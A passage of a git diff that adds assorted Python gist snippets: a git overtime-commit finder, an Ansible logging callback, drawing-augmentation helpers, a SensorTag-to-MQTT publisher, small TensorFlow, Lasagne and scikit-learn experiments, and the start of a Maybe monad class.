+yyyyyyyyyyyynnffQQppppppppQQll??vvvv????vv??jjllffffffffffffffffffnnssxxxxxxxxxxxxxxxxcc??vv??vvvvvv??nnllllllllllllyyssxxxxxxxxxxxxnnnnnnnnnn
+yyyyyyyyyyyynnqqppQQppppppQQZZww??vvvvvvvvvv??nnffffffffffffffffffnnssxxxxxxxxxxxxxxjj??vvvvvv??vv??ccqqllllllllllqqnnssxxxxxxxxxxxxnnnnnnnnnn
+yyyyyyyyyyyyyynnZZQQppppppQQppnn??vvvv????vv????yyffffffffffffffffnnssxxxxxxxxxxxxjj????vv??vv??vv??ssqqllllllllllqqssxxxxxxxxxxxxxxnnnnnnnnnn
+yyyyyyyyyyyyyynnqqppQQppppppQQll??vvvvvvvv??vv????qqffffffffffffffnnssxxxxxxxxxxssvv??vv??vvvvvvvv??nnllllllllllllnnssxxxxxxxxxxxxxxnnnnnnnnnn
+yyyyyyyyyyyyyyyynnZZQQppppppQQZZ????vvvvvvvv??vv??vvyyffffffffffffnnssxxxxxxxxssvv??vv??vvvv??vv????yyllllllllllqqssxxxxxxxxxxxxxxxxnnnnnnnnnn
+yyyyyyyyyyyyyyyynnqqppQQppppQQppss??vv??vvvvvv??vv????nnffffffffllnnssxxxxxxjj????vv??vvvvvv??vv??wwqqllllllllllnnssxxxxxxxxxxxxxxxxnnnnnnnnnn
+yyyyyyyyyyyyyyyyyynnffQQppppQQppnn??cc??vvvvvvvv??vv????ssqqffZZffnnxxxxssww????vv??vvvvvvvvvvvv??ssllllllllllyyssxxxxxxxxxxxxxxxxnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyynnyyppQQppppQQll??ccvvvvvvvvvvvv??vvvv????ssqqllxxjjww????vvvv??vvvvvvvv??vvvv??nnllllllllqqxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyynnllppQQppQQff????vvvvvvvvvvvvvv??vvvv??????wwcc??????vvvv??vvvvvvvvvv??vv????yyllllllllnnssxxxxxxxxxxxxxxxxnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyynnffQQppQQZZww??vv??vvvvvvvvvvvv????vvvv????????vvvvvvvvvvvvvvvvvvvv??vv??ccqqllllllyyssxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyynnnnZZQQQQppss??cc??vvvvvvvvvvvvvvvv????vvvvvvvvvv??vvvvvvvvvvvvvvvv??vv??wwqqllllqqxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyynnyyZZQQppnn??cc??vvvvvvvvvvvvvvvvvvvv????vvvvvvvvvvvvvvvvvvvvvvvvvvvv??jjqqllqqxxssxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyynnqqppQQyy??cc??vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv??ssllqqnnssxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyynnllppqq??cc??vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv??vvvv??xxllnnssxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnllqq??vvvv??vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv??vv????xxnnssxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnnnjj????vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv????wwssssxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnss????vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv??vvjjxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyxxcc????vvvvvv??vvvvvvvvvvvvvvvvvvvvvvvvvvvv????wwssxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyxxjjcc????vvvvvvvv????vvvv????vvvvvvvv????ccjjxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnssjjcc??????vvvvvvvvvvvvvvvv??????ccjjssxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnxxssjjcc????????????????????ccjjssxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnxxxxxxssjjccvv????vvccjjssxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnxxxxxxxxxxssssssssxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnnnnnxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
+
+"""
\ No newline at end of file
diff --git a/hard-gists/4b79e30fad4ae8a50e2630fcfc4c8cfd/._snippet.py b/hard-gists/4b79e30fad4ae8a50e2630fcfc4c8cfd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4b79e30fad4ae8a50e2630fcfc4c8cfd/._snippet.py differ
diff --git a/hard-gists/4b79e30fad4ae8a50e2630fcfc4c8cfd/snippet.py b/hard-gists/4b79e30fad4ae8a50e2630fcfc4c8cfd/snippet.py
new file mode 100644
index 00000000..ab236135
--- /dev/null
+++ b/hard-gists/4b79e30fad4ae8a50e2630fcfc4c8cfd/snippet.py
@@ -0,0 +1,51 @@
+import subprocess
+import re
+from dateutil import parser
+
+class History(object):
+    def __init__(self, commits):
+        self._commits = ['%s' % n for n in commits if n.ot]
+
+    def __iter__(self):
+        return iter()
+
+    def __str__(self):
+        return '\n\n'.join(self._commits)
+
+class Commit(object):
+    _ot = False
+    _quittingTime = 16
+
+    def __init__(self, raw):
+        self._pieces = [x.strip() for x in raw.split('\\n') if x != ''][:4]
+
+        if (len(self._pieces) >=4):
+            self._pieces = [re.sub(r'^([A-Z].*:\ )', '', x) for x in self._pieces]
+            dateObj = parser.parse(self._pieces[2])
+            self._pieces[2] = dateObj.strftime('%A %B %d %I:%M %p')
+
+            if (dateObj.hour >= self._quittingTime or dateObj.weekday() >= 5):
+                self._ot = True
+
+    def __str__(self):
+        return '\n'.join(self._pieces)
+
+    @property
+    def ot(self):
+        return self._ot
+
+def runSubProc(args):
+    subp = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+    return str(subp.stdout.read())
+
+def getHistory(user):
+    logs = runSubProc(["git", "log", '--author=%s' % user, "--no-merges"])
+    return History([Commit(x) for x in logs.split("commit")])
+
+def main():
+    user = runSubProc(["git", "config", "user.email"]).strip("b'")[:-2]
+    logs = getHistory(user)
+    print(logs)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4b984557676d2d6c92a6/._snippet.py b/hard-gists/4b984557676d2d6c92a6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4b984557676d2d6c92a6/._snippet.py differ
diff --git a/hard-gists/4b984557676d2d6c92a6/snippet.py b/hard-gists/4b984557676d2d6c92a6/snippet.py
new file mode 100644
index 00000000..1a451009
--- /dev/null
+++ b/hard-gists/4b984557676d2d6c92a6/snippet.py
@@ -0,0 +1,149 @@
+# Interpret the Ansible log for humans. In particular, we
+# look for command executions and format their content
+#
+#     - name: list files
+#       shell: "ls -lrt *e*"
+#
+# Might produce
+#
+#       TASK: [1] ***********************************************************
+#       changed: [localhost]
+#       2015-07-25 09:41:03: ls -lrt *e*
+#           -rw-r--r--  1 dave  staff  1696 Jul 11 11:54 ansible.pem
+#           -rw-r--r--  1 dave  staff   106 Jul 22 10:10 fix-sudoers.sh
+#           -rw-r--r--  1 dave  staff    20 Jul 22 20:06 fred.yml
+#           -rw-r--r--  1 dave  staff   345 Jul 23 14:48 ansible.cfg
+#           -rw-r--r--  1 dave  staff    68 Jul 25 09:35 site.yml
+#
+#           filter_plugins:
+#           total 16
+#           -rw-r--r--  1 dave  staff  247 Jul 24 18:06 to_instance_tags.py
+#           -rw-r--r--  1 dave  staff  859 Jul 24 20:55 to_instance_tags.pyc
+#           (took .008240s)
+#
+# The start time appears as the prompt for the command, and the result
+# is shown indented. The output ends with the elapsed time.
+#
+#
+# This is an adaptation of Cliffano Subagio's "human_logging" gist
+# described at http://bit.ly/1KqozNe
+
+import re
+from ansible.color import stringc
+
+FIELDS = ['cmd', 'command', 'start', 'end', 'delta', 'msg', 'stdout', 'stderr']
+
+
+# Display output indented by 4 spaces and in yellow
+
+def display_output(output, color='yellow'):
+    if output:
+        output = "\n    ".join(output.split("\n"))
+        print(stringc("    " + output, color))
+
+# Given a command execution, extract the start time, command, and output
+# colorizing them, appropriately
+
+def format_command(res):
+    cmd = "".join(res['cmd']).encode('utf-8')
+    start = res.get('start', 'failed command')
+    duration = res.get('delta', False)
+    print("{0}: {1}".format(stringc(start[0:19], 'cyan'), cmd))
+    display_output(res.get('stdout', False), 'yellow')
+    display_output(res.get('stderr', False), 'bright red')
+    if duration:
+        duration = re.sub(r'^[0:]+', '', duration)
+        print(stringc("    (took {0}s)".format(duration), 'cyan'))
+
+# Handle any type of ansible callback. We treat `cmd` and `msg`
+# specially, as we know their content and can format it neatly.
+#
+# Otherwise we just output key/value pairs
+
+def human_log(res):
+    if type(res) == type(dict()):
+        keys = res.keys()
+        if 'cmd' in keys:
+            format_command(res)
+        elif 'msg' in keys:
+            msg = res['msg']
+            if msg:
+                print ' >> {0}'.format(stringc(msg, 'cyan'))
+        else:
+            for field in FIELDS:
+                if field in keys:
+                    val = res[field]
+                    if isinstance(val, list):
+                        val = " ".join(val)
+                        encoded_field = val.encode('utf-8')
+                        print '\n{0}:\n{1}'.format(field, encoded_field)
+
+
+# and the callback itself
+
+class CallbackModule(object):
+
+	def on_any(self, *args, **kwargs):
+            pass
+
+	def runner_on_failed(self, host, res, ignore_errors=False):
+            human_log(res)
+
+        def runner_on_ok(self, host, res):
+            human_log(res)
+
+	def runner_on_error(self, host, msg):
+            pass
+
+	def runner_on_skipped(self, host, item=None):
+            pass
+
+	def runner_on_unreachable(self, host, res):
+            human_log(res)
+
+	def runner_on_no_hosts(self):
+            pass
+
+	def runner_on_async_poll(self, host, res, jid, clock):
+            human_log(res)
+
+	def runner_on_async_ok(self, host, res, jid):
+            human_log(res)
+
+	def runner_on_async_failed(self, host, res, jid):
+            human_log(res)
+
+	def playbook_on_start(self):
+            pass
+
+	def playbook_on_notify(self, host, handler):
+            pass
+
+	def playbook_on_no_hosts_matched(self):
+            pass
+
+	def playbook_on_no_hosts_remaining(self):
+            pass
+
+	def playbook_on_task_start(self, name, is_conditional):
+            pass
+
+        def playbook_on_vars_prompt(self, varname, private=True, prompt=None,
+                                    encrypt=None, confirm=False, salt_size=None,
+                                    salt=None, default=None):
+            pass
+
+	def playbook_on_setup(self):
+            pass
+
+        def playbook_on_import_for_host(self, host, imported_file):
+            pass
+
+	def playbook_on_not_import_for_host(self, host, missing_file):
+            pass
+
+	def playbook_on_play_start(self, pattern):
+            pass
+
+	def playbook_on_stats(self, stats):
+            pass
diff --git a/hard-gists/4ba8ae5459ca4a287d42af549a611792/._snippet.py b/hard-gists/4ba8ae5459ca4a287d42af549a611792/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4ba8ae5459ca4a287d42af549a611792/._snippet.py differ
diff --git a/hard-gists/4ba8ae5459ca4a287d42af549a611792/snippet.py b/hard-gists/4ba8ae5459ca4a287d42af549a611792/snippet.py
new file mode 100644
index 00000000..e8f1bd8b
--- /dev/null
+++ b/hard-gists/4ba8ae5459ca4a287d42af549a611792/snippet.py
@@ -0,0 +1,175 @@
+import numpy as np
+from noise import pnoise2, pnoise3
+from scipy.ndimage.filters import gaussian_filter, gaussian_filter1d
+
+def center_and_scale(drawing):
+    """
+    Translate an entire drawing to the mean location of the points,
+    then scale the drawing to fit within +/-1.
+    """
+    all_points = np.vstack(drawing)
+    meanxy = np.mean(all_points, axis=0)
+    minxy = np.min(all_points, axis=0) - meanxy
+    maxxy = np.max(all_points, axis=0) - meanxy
+    max_range = np.max(np.abs((minxy, maxxy)))
+    return [(stroke - meanxy) / max_range for stroke in drawing]
+
+def get_noise_seed(seed=None):
+    if seed is None:
+        return np.random.rand(1) * 100000
+    else:
+        return seed
+    
+def noise_xy(points, scale=0.1, frequency=0.5, octaves=3, seed=None):
+    """
+    Generate a number of x,y points using Perlin noise.
+    """
+    seed = get_noise_seed(seed)
+    tn = np.linspace(seed, seed + frequency, points)
+    x = [pnoise2(0, float(t), octaves) * scale for t in tn]
+    y = [pnoise2(1, float(t), octaves) * scale for t in tn]
+    return x, y
+
+def jitter_stroke(stroke, scale):
+    """
+    Jitter the points in a stroke with Perlin noise.
+    """
+    n = len(stroke)
+    x, y = noise_xy(n, scale=scale)
+    offsets = np.vstack([x, y])
+    return stroke + offsets.T
+
+def jitter(drawing, scale=0.1):
+    """
+    Jitter an entire drawing by jittering each stroke with Perlin noise.
+    """
+    return [jitter_stroke(stroke, scale) for stroke in drawing]
+
+def warp_stroke(stroke, scale=0.5, frequency=0.5, octaves=3, seed=None):
+    """
+    Warp a stroke by applying a Perlin noise deformation field.
+    """
+    seed = get_noise_seed(seed)
+    offsets = [[pnoise3(0 + seed, x, y, 3), pnoise3(1 + seed, x, y, 3)] for x, y in (stroke * frequency)]
+    return stroke + np.asarray(offsets) * scale
+    
+def warp(drawing, scale=0.5, frequency=0.5, octaves=3, seed=None):
+    """
+    Warp a drawing by applying a Perlin noise deformation field.
+    """
+    seed = get_noise_seed(seed)
+    return [warp_stroke(stroke, scale=scale, frequency=frequency, octaves=octaves, seed=seed) for stroke in drawing]
+
+def smooth_position_stroke(stroke, sigma=1):
+    """
+    Smooth a stroke with a Gaussian filter.
+    This smooths things in "sample space" rather than "real space".
+    """
+    stroke[:,0] = gaussian_filter1d(stroke[:,0], sigma=sigma, mode='nearest')
+    stroke[:,1] = gaussian_filter1d(stroke[:,1], sigma=sigma, mode='nearest')
+    return stroke
+    
+def smooth_position(drawing, sigma=1):
+    """
+    Smooth all the strokes in a drawing with a Gaussian filter.
+    This smooths things in "sample space" rather than "real space".
+    """
+    sigma = np.abs(sigma * np.random.randn(1))
+    return [smooth_position_stroke(stroke, sigma=sigma) for stroke in drawing]
+
+def smooth_velocity_stroke(stroke, sigma=1):
+    """
+    Smooth a stroke by smoothing the derivative rather than the points directly.
+    """
+    x = stroke[:,0]
+    y = stroke[:,1]
+    xd = gaussian_filter1d(np.diff(x), sigma=sigma, mode='nearest')
+    yd = gaussian_filter1d(np.diff(y), sigma=sigma, mode='nearest')
+    stroke[1:,0] = x[0] + np.cumsum(xd)
+    stroke[1:,1] = y[0] + np.cumsum(yd)
+    return stroke
+    
+def smooth_velocity(drawing, sigma=1):
+    """
+    Smooth a drawing by smoothing the derivative rather than the points directly.
+    """
+    sigma = np.abs(sigma * np.random.randn(1))
+    return [smooth_velocity_stroke(stroke, sigma=sigma) for stroke in drawing]
+
+def jitter_scale(drawing, overall_sigma=0.1, aspect_sigma=0.05):
+    """
+    Scale an entire drawing about 0,0 by a random gaussian.
+    """
+    scale = (1 + np.random.randn(1) * overall_sigma) + np.random.randn(2) * aspect_sigma
+    return [stroke * scale for stroke in drawing]
+
+def jitter_translate(drawing, sigma=0.10):
+    """
+    Translate an entire drawing by a random gaussian.
+    """
+    translate = np.random.randn(2) * sigma
+    return [stroke + translate for stroke in drawing]
+
+def create_rotation_matrix(theta):
+    c, s = np.cos(theta), np.sin(theta)
+    return np.array([[c, -s], [s, c]])
+
+def jitter_rotate(drawing, sigma=0.2):
+    """
+    Rotate an entire drawing about 0,0 by a random gaussian.
+    """
+    rotation = np.random.randn(1) * sigma
+    matrix = create_rotation_matrix(rotation)
+    return [np.dot(stroke, matrix).squeeze() for stroke in drawing]
+
+def jitter_translate_stroke(drawing, sigma=0.02):
+    """
+    Translate each stroke in a drawing by a random gaussian.
+    """
+    return [stroke + np.random.randn(2) * sigma for stroke in drawing]
+
+def jitter_scale_stroke(drawing, sigma=0.05):
+    """
+    Scale each stroke in a drawing about the center of each stroke by a random gaussian.
+    """
+    centers = [np.mean(stroke) for stroke in drawing]
+    return [((stroke - center) * (1 + np.random.randn(2) * sigma)) + center
+            for center, stroke in zip(centers, drawing)]
+
+def jitter_rotate_stroke(drawing, sigma=0.2):
+    """
+    Rotate each stroke in a drawing about the center of each stroke by a random gaussian.
+    """
+    rotation = np.random.randn(1) * sigma
+    matrix = create_rotation_matrix(rotation)
+    centers = [np.mean(stroke) for stroke in drawing]
+    return [np.dot(stroke - center, matrix).squeeze() + center
+            for center, stroke in zip(centers, drawing)]
+
+def shuffle_strokes(drawing, amount=0.25):
+    """
+    Randomly swap the order of a percentage of the strokes in a drawing.
+    May swap less than the given percentage if it undoes a previous swap.
+    """
+    n = len(drawing)
+    stroke_indices = np.arange(n)
+    shuffle_count = int(n * amount)
+    for i in range(shuffle_count):
+        i0 = np.random.randint(n)
+        i1 = np.random.randint(n)
+        temp = stroke_indices[i0]
+        stroke_indices[i0] = stroke_indices[i1]
+        stroke_indices[i1] = temp
+    return [drawing[i] for i in stroke_indices]
+
+def reverse_strokes(drawing, amount=0.25):
+    """
+    Randomly reverse the direction of a percentage of the strokes in a drawing.
+    """
+    n = len(drawing)
+    indices = np.arange(n)
+    np.random.shuffle(indices)
+    flip_n = int(amount * n)
+    flip_indices = indices[:flip_n]
+    flips = [i in flip_indices for i in range(n)]
+    return [np.flipud(stroke) if flip else stroke for flip, stroke in zip(flips, drawing)]
\ No newline at end of file
diff --git a/hard-gists/4bbe165b19a2b0d457c6/._snippet.py b/hard-gists/4bbe165b19a2b0d457c6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4bbe165b19a2b0d457c6/._snippet.py differ
diff --git a/hard-gists/4bbe165b19a2b0d457c6/snippet.py b/hard-gists/4bbe165b19a2b0d457c6/snippet.py
new file mode 100644
index 00000000..d57eefa5
--- /dev/null
+++ b/hard-gists/4bbe165b19a2b0d457c6/snippet.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+# read CC2650 SensorTag by JP Mens
+# follow https://smidgeonpigeon.wordpress.com/2015/07/21/raspberry-pi-2-ble-ti-sensor-tag/
+# to get started, but use Sensortag2650.py
+
+import time
+import json
+import struct
+import Sensortag2650 as sensortag
+import paho.mqtt.publish as mqtt
+
+# don't even bother starting until you see your SensorTag
+# $ hcitool -i hci1 lescan
+# LE Scan ...
+# B0:B4:48:BD:B8:05 CC2650 SensorTag
+
+my_sensor = 'B0:B4:48:BD:B8:05'
+tag = sensortag.SensorTag(my_sensor)
+
+print "Connected to SensorTag", my_sensor
+
+sensorOn  = struct.pack("B", 0x01)
+sensorbarcal =  struct.pack("B", 0x02)
+sensorMagOn = struct.pack("H", 0x0007)
+sensorGyrOn = struct.pack("H", 0x0007)
+sensorAccOn = struct.pack("H", 0x0038)
+
+tag.IRtemperature.enable(sensorOn)
+tag.humidity.enable(sensorOn)
+tag.barometer.enable(sensorOn)
+tag.accelerometer.enable(sensorAccOn)
+# tag.magnetometer.enable(sensorMagOn)
+# tag.gyroscope.enable(sensorGyrOn)
+tag.luxometer.enable(sensorOn)
+
+base_topic = 'jpmens/cc2650/%s' % my_sensor.replace(':', '').lower()
+
+while True:
+    msgs = []
+
+    ambient_temp, target_temp = tag.IRtemperature.read()
+    x_accel, y_accel, z_accel = tag.accelerometer.read()
+    ambient_temp, rel_humidity = tag.humidity.read()
+    lux = tag.luxometer.read()
+    ambient_temp, pressure_millibars = tag.barometer.read()
+
+    data = {
+        'ambient_temp'  : ambient_temp,
+        'target_temp'   : target_temp,
+        'humidity'      : rel_humidity,
+        'lux'           : lux,
+        'millibars'     : pressure_millibars,
+        'tst'           : int(time.time()),
+    }
+
+    payload = json.dumps(data)
+    print payload
+    msgs.append((base_topic, payload, 0, False))
+    for k in data:
+        msgs.append( ( "%s/%s" % (base_topic, k), data[k], 0, False ) )
+
+    mqtt.multiple(msgs, hostname='test.mosquitto.org')
+
+    time.sleep(60)
+
+tag.disconnect()
diff --git a/hard-gists/4c10830640d325e0cab978bc18c6263a/._snippet.py b/hard-gists/4c10830640d325e0cab978bc18c6263a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c10830640d325e0cab978bc18c6263a/._snippet.py differ
diff --git a/hard-gists/4c10830640d325e0cab978bc18c6263a/snippet.py b/hard-gists/4c10830640d325e0cab978bc18c6263a/snippet.py
new file mode 100644
index 00000000..333ae2e2
--- /dev/null
+++ b/hard-gists/4c10830640d325e0cab978bc18c6263a/snippet.py
@@ -0,0 +1,37 @@
+import numpy as np
+import tensorflow as tf
+
+# N, size of matrix. R, rank of data
+N = 100
+R = 5
+
+# generate data
+W_true = np.random.randn(N,R)
+C_true = np.random.randn(R,N)
+Y_true = np.dot(W_true, C_true)
+Y_tf = tf.constant(Y_true.astype(np.float32))
+
+W = tf.Variable(np.random.randn(N,R).astype(np.float32))
+C = tf.Variable(np.random.randn(R,N).astype(np.float32))
+Y_est = tf.matmul(W,C)
+loss = tf.reduce_sum((Y_tf-Y_est)**2)
+
+# regularization 
+alpha = tf.constant(1e-4)
+regW = alpha*tf.reduce_sum(W**2)
+regC = alpha*tf.reduce_sum(C**2)
+
+# full objective
+objective = loss + regW + regC
+
+# optimization setup
+train_step = tf.train.AdamOptimizer(0.001).minimize(objective)
+
+# fit the model
+init_op = tf.initialize_all_variables()
+with tf.Session() as sess:
+    sess.run(init_op)
+    for n in range(10000):
+        sess.run(train_step)
+        if (n+1) % 1000 == 0:
+            print('iter %i, %f' % (n+1, sess.run(objective)))
diff --git a/hard-gists/4c223b8e2d72b0e35bde/._snippet.py b/hard-gists/4c223b8e2d72b0e35bde/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c223b8e2d72b0e35bde/._snippet.py differ
diff --git a/hard-gists/4c223b8e2d72b0e35bde/snippet.py b/hard-gists/4c223b8e2d72b0e35bde/snippet.py
new file mode 100644
index 00000000..3db2d19f
--- /dev/null
+++ b/hard-gists/4c223b8e2d72b0e35bde/snippet.py
@@ -0,0 +1,59 @@
+from lasagne.layers import Layer
+
+class HighwayLayer(Layer):
+    def __init__(self, incoming, layer_class, gate_nonlinearity=None,
+                 **kwargs):
+        super(HighwayLayer, self).__init__(incoming)
+
+        self.H_layer = layer_class(incoming, **kwargs)
+        
+        if gate_nonlinearity:
+            kwargs['nonlinearity'] = gate_nonlinearity
+        else:
+            kwargs['nonlinearity'] = lasagne.nonlinearities.sigmoid
+        kwargs['b'] = lasagne.init.Constant(-2)
+        self.T_layer = layer_class(incoming, **kwargs)
+        
+    def get_params(self):
+        return self.H_layer.get_params() + self.T_layer.get_params()
+
+    def get_bias_params(self):
+        return self.H_layer.get_bias_params() + self.T_layer.get_bias_params()
+
+    def get_output_shape_for(self, input_shape):
+        return input_shape
+
+    def get_output_for(self, input, **kwargs):
+        T = self.T_layer.get_output_for(input, **kwargs)
+        return input * (1 - T) + T * self.H_layer.get_output_for(input, **kwargs)
+
+
+def build_model(input_dim, output_dim,
+                batch_size=BATCH_SIZE, num_hidden_units=NUM_HIDDEN_UNITS):
+    """ Example usage (replaces build_model in mnist.py) """
+    l_in = lasagne.layers.InputLayer(
+        shape=(batch_size, input_dim),
+    )
+    
+    l_in = lasagne.layers.DenseLayer(
+        l_in,
+        num_units=num_hidden_units,
+        nonlinearity=lasagne.nonlinearities.rectify,
+        W=lasagne.init.HeNormal(),
+    )
+    
+    for i in range(49):
+        l_in = HighwayLayer(
+            l_in,
+            lasagne.layers.DenseLayer,
+            num_units=num_hidden_units,
+            nonlinearity=lasagne.nonlinearities.rectify,
+            W=lasagne.init.HeNormal(),
+        )
+        
+    l_out = lasagne.layers.DenseLayer(
+        l_in,
+        num_units=output_dim,
+        nonlinearity=lasagne.nonlinearities.softmax,
+    )
+    return l_out
\ No newline at end of file
diff --git a/hard-gists/4c2d4105ea2c7e407fb5/._snippet.py b/hard-gists/4c2d4105ea2c7e407fb5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c2d4105ea2c7e407fb5/._snippet.py differ
diff --git a/hard-gists/4c2d4105ea2c7e407fb5/snippet.py b/hard-gists/4c2d4105ea2c7e407fb5/snippet.py
new file mode 100644
index 00000000..36a0d107
--- /dev/null
+++ b/hard-gists/4c2d4105ea2c7e407fb5/snippet.py
@@ -0,0 +1,69 @@
+""" Messing around with scikit-learn.  """
+
+import sys
+
+import numpy as np
+import scipy.sparse
+
+import sklearn.linear_model
+import sklearn.datasets
+import sklearn.svm
+import sklearn.metrics
+import sklearn.decomposition
+import sklearn.feature_extraction.text
+import sklearn.utils.sparsefuncs
+
+# The fetch_20newsgroups dataset uses logging that we need to setup.
+import logging
+logging.basicConfig()
+
+# http://scikit-learn.org/stable/datasets/index.html#the-20-newsgroups-text-dataset
+dataset = sklearn.datasets.fetch_20newsgroups(
+    shuffle=True,
+)
+corpus = dataset.data
+n_samples = len(corpus)
+target = [[0] * n_samples] * n_samples
+for i in range(n_samples):
+    target[i][dataset.target[i]] = 1.0
+
+print "* shape of the corpus", len(corpus)
+
+print "Convert text data into numerical vectors"
+# http://scikit-learn.org/stable/modules/feature_extraction.html
+vectorizer = sklearn.feature_extraction.text.CountVectorizer(
+    stop_words='english',
+    ngram_range=(1, 1),  #ngram_range=(1, 1) is the default
+    dtype='double',
+)
+data = vectorizer.fit_transform(corpus)
+print "* shape of the tfidf vectors", data.shape
+
+# Save this to compute explained variance later
+vectors = data
+
+print "Reduce the dimensionality of the data"
+pca = sklearn.decomposition.TruncatedSVD(n_components=50)
+data = pca.fit_transform(data)
+
+print "* shape of the pca components", data.shape
+exp = np.var(data, axis=0)
+full = sklearn.utils.sparsefuncs.mean_variance_axis0(vectors)[1].sum()
+explained_variance_ratios = exp / full
+confidence = sum(explained_variance_ratios)
+
+if confidence < 0.8:
+    print "explained variance ratio %f < 0.8.  Bailing." % confidence
+    sys.exit(1)
+
+print "Training a support vector machine on first half"
+regression = sklearn.linear_model.LinearRegression()
+regression.fit(data[:n_samples / 2], target[:n_samples / 2])
+
+print "Now predict the value of on the second half"
+expected = target[n_samples / 2:]
+predicted = regression.predict(data[n_samples / 2:])
+
+print(
+    "Regression report for regression %s:\n%s\n"
+    % (regression, sklearn.metrics.mean_squared_error(expected, predicted)))
\ No newline at end of file
diff --git a/hard-gists/4c4323f90f74f079b50d9a689fa8a448/._snippet.py b/hard-gists/4c4323f90f74f079b50d9a689fa8a448/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c4323f90f74f079b50d9a689fa8a448/._snippet.py differ
diff --git a/hard-gists/4c4323f90f74f079b50d9a689fa8a448/snippet.py b/hard-gists/4c4323f90f74f079b50d9a689fa8a448/snippet.py
new file mode 100644
index 00000000..be006b9c
--- /dev/null
+++ b/hard-gists/4c4323f90f74f079b50d9a689fa8a448/snippet.py
@@ -0,0 +1,92 @@
+
+from collections.abc import Iterator
+
+class Maybe(Iterator):
+    """ Iterator takes the place of Functor """
+    __map_index__ = 0
+
+    def __init__(self):
+        super(self).__init__(self)
+
+    def is_just(self):
+        return self.value != None
+
+    def unsafe_get(self):
+        return self.value
+
+    def __iter__(self):
+        return self
+
+    def __next__(self):
+        self.__map_index__ += 1
+        if self.value == None or self.__map_index__ > 1:
+            self.__map_index__ = 0
+            raise StopIteration
+        else:
+            return self.value
+
+    @staticmethod
+    def bind(computation):
